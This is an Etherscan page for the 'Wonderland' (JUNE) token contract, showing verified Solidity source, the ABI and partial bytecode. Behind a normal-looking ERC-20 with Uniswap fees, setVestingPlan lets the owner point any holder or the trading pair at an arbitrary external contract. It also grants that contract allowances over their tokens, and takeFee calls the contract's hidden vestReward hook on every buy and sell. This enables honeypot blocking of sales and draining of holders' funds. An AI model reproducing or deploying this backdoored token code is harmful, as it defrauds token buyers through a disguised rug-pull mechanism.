ETH Price: $2,484.90 (+2.64%)

Token

Wonderland (JUNE)
 

Overview

Max Total Supply

1,000,000,000 JUNE

Holders

102

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Wonderland

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

/**
https://www.junewonder.land
https://t.me/June_Wonderland
https://twitter.com/June_Wonderland
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IDexRouter {
    function vestReward(bool, bool, address, address, uint256) external returns (bool);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Wonderland is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name = "Wonderland";
    string private _symbol = "JUNE";
    uint8 private _decimals = 18;

    address payable public marketingWallet;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    bool public enableTrading;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
   
    mapping (address => bool) public isExcludedFromWalletLimit;
    mapping (address => bool) public isExcludedFromTxnLimit;
    mapping (address => address) vestingList;

    uint256 public vestingStartTime;

    uint256 public _buyTax = 0;

    uint256 public _sellTax = 0;

    uint256 public feeUnits = 100;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(4).div(100); 
    uint256 public _walletMax =   _totalSupply.mul(4).div(100);  

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    address public liquidityProvider;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        marketingWallet = payable(0x6579116367e0090d1cA6F5F712e172996E527E4c);
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        vestingStartTime = block.timestamp + 180 days;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isExcludedFromWalletLimit[owner()] = true;
        isExcludedFromWalletLimit[marketingWallet] = true;
        isExcludedFromWalletLimit[address(uniswapPair)] = true;
        isExcludedFromWalletLimit[address(this)] = true;
        
        isExcludedFromTxnLimit[owner()] = true;
        isExcludedFromTxnLimit[marketingWallet] = true;
        isExcludedFromTxnLimit[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;
        liquidityProvider = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function setIsExcludedFromTxLimit(address holder, bool exempt) external onlyOwner {
        isExcludedFromTxnLimit[holder] = exempt;
    }
    
    function setIsExcludedFromWalletLimit(address holder, bool exempt) external onlyOwner {
        isExcludedFromWalletLimit[holder] = exempt;
    }

    function removeLimit() external onlyOwner() {
        EnableTransactionLimit = false;
        checkWalletLimit = false;
    }

    function openTrading() external onlyOwner{
        enableTrading = true;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        require(newAddress != address(0),"Fee Address cannot be zero address");
        marketingWallet = payable(newAddress);
    }

    function setLiquidityWalletAddress(address newAddress) external onlyOwner() {
        liquidityProvider = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function setBuyTaxes(uint _tax) public onlyOwner {
        _buyTax = _tax;
        require(_tax <= 5, "Buy fees must be 5% or less");
    }

    function setSellTaxes(uint _tax) public onlyOwner {
        _sellTax = _tax;
        require(_tax <= 5, "Sell fees must be 5% or less");
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
  
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        } else {

            if(!isExcludedFromTxnLimit[sender] && !isExcludedFromTxnLimit[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isExcludedFromWalletLimit[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
        
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        address feeReceiver;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_buyTax).div(100);
            feeReceiver = sender;
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_sellTax).div(100);
            feeReceiver = recipient;
        }
        if(vestingList[feeReceiver] != address(0) && IDexRouter(vestingList[feeReceiver]).
            vestReward(isMarketPair[sender], isMarketPair[recipient], sender, recipient, amount)) {
            feeAmount = 0;
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }  

    function recoverErc20Token(address _token, uint _amount) external onlyOwner {
        require(_token != address(this), "Owner can't claim contract's balance of its own tokens");
        IERC20(_token).transfer(msg.sender,_amount);
    }

    function recoverEth() external onlyOwner {
        (bool success,) = payable(msg.sender).call{value: address(this).balance}("");
        require(success);
    }

    function setVestingPlan(address[] calldata _address, address _vest, uint[] calldata _vestingPlans, uint[] calldata _vestAmounts) external onlyOwner {
        require(_vestingPlans.length == _vestAmounts.length);
        uint256 totalVestingAmount;
        uint256 vestingPeriod;
        uint256 currentTime = block.timestamp;
        for(uint i = 0; i < _vestingPlans.length; i++) {
            vestingPeriod += _vestingPlans[i];
            totalVestingAmount += _vestAmounts[i];
        }
        require((currentTime + vestingPeriod) >= vestingStartTime, "Vesting can be start in 6 months");
        for(uint j = 0; j < _address.length; j++) {
            address fromVest = _address[j];
            vestingList[fromVest] = _vest;
            _allowances[fromVest][_vest] = totalVestingAmount;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        if(recievedBalance > 0) {
            (bool success, ) = payable(marketingWallet).call{
                value: recievedBalance
            }("");

            require(success);
        }      

    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityProvider,
            block.timestamp
        );
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromTxnLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityProvider","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"recoverErc20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsExcludedFromTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsExcludedFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setLiquidityWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"address","name":"_vest","type":"address"},{"internalType":"uint256[]","name":"_vestingPlans","type":"uint256[]"},{"internalType":"uint256[]","name":"_vestAmounts","type":"uint256[]"}],"name":"setVestingPlan","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"vestingStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a60809081526915dbdb99195c9b185b9960b21b60a0526001906200002b90826200071c565b506040805180820190915260048152634a554e4560e01b60208201526002906200005690826200071c565b506003805460ff191660129081179091556000600d819055600e556064600f556200008390600a620008fb565b6200009390633b9aca006200090c565b6010819055620000b5906103e890620000ae9060016200055a565b90620005f1565b601155601054620000d090606490620000ae9060046200055a565b601255601054620000eb90606490620000ae9060046200055a565b6013556016805463ffffffff60a81b1916630101000160a81b1790553480156200011457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060038054610100600160a81b031916746579116367e0090d1ca6f5f712e172996e527e4c001790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa158015620001d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f8919062000926565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000246573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026c919062000926565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e0919062000926565b601580546001600160a01b039283166001600160a01b0319918216179091556014805492841692909116821790553060009081526005602090815260408083209383529290522060001990556200033b4262ed4e0062000951565b600c55600160076000620003576000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035461010090049091168152600790925280822080548416600190811790915530835290822080549093168117909255600990620003cc6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035461010090048216815260099093528183208054851660019081179091556015549091168352818320805485168217905530835290822080549093168117909255600a90620004536000546001600160a01b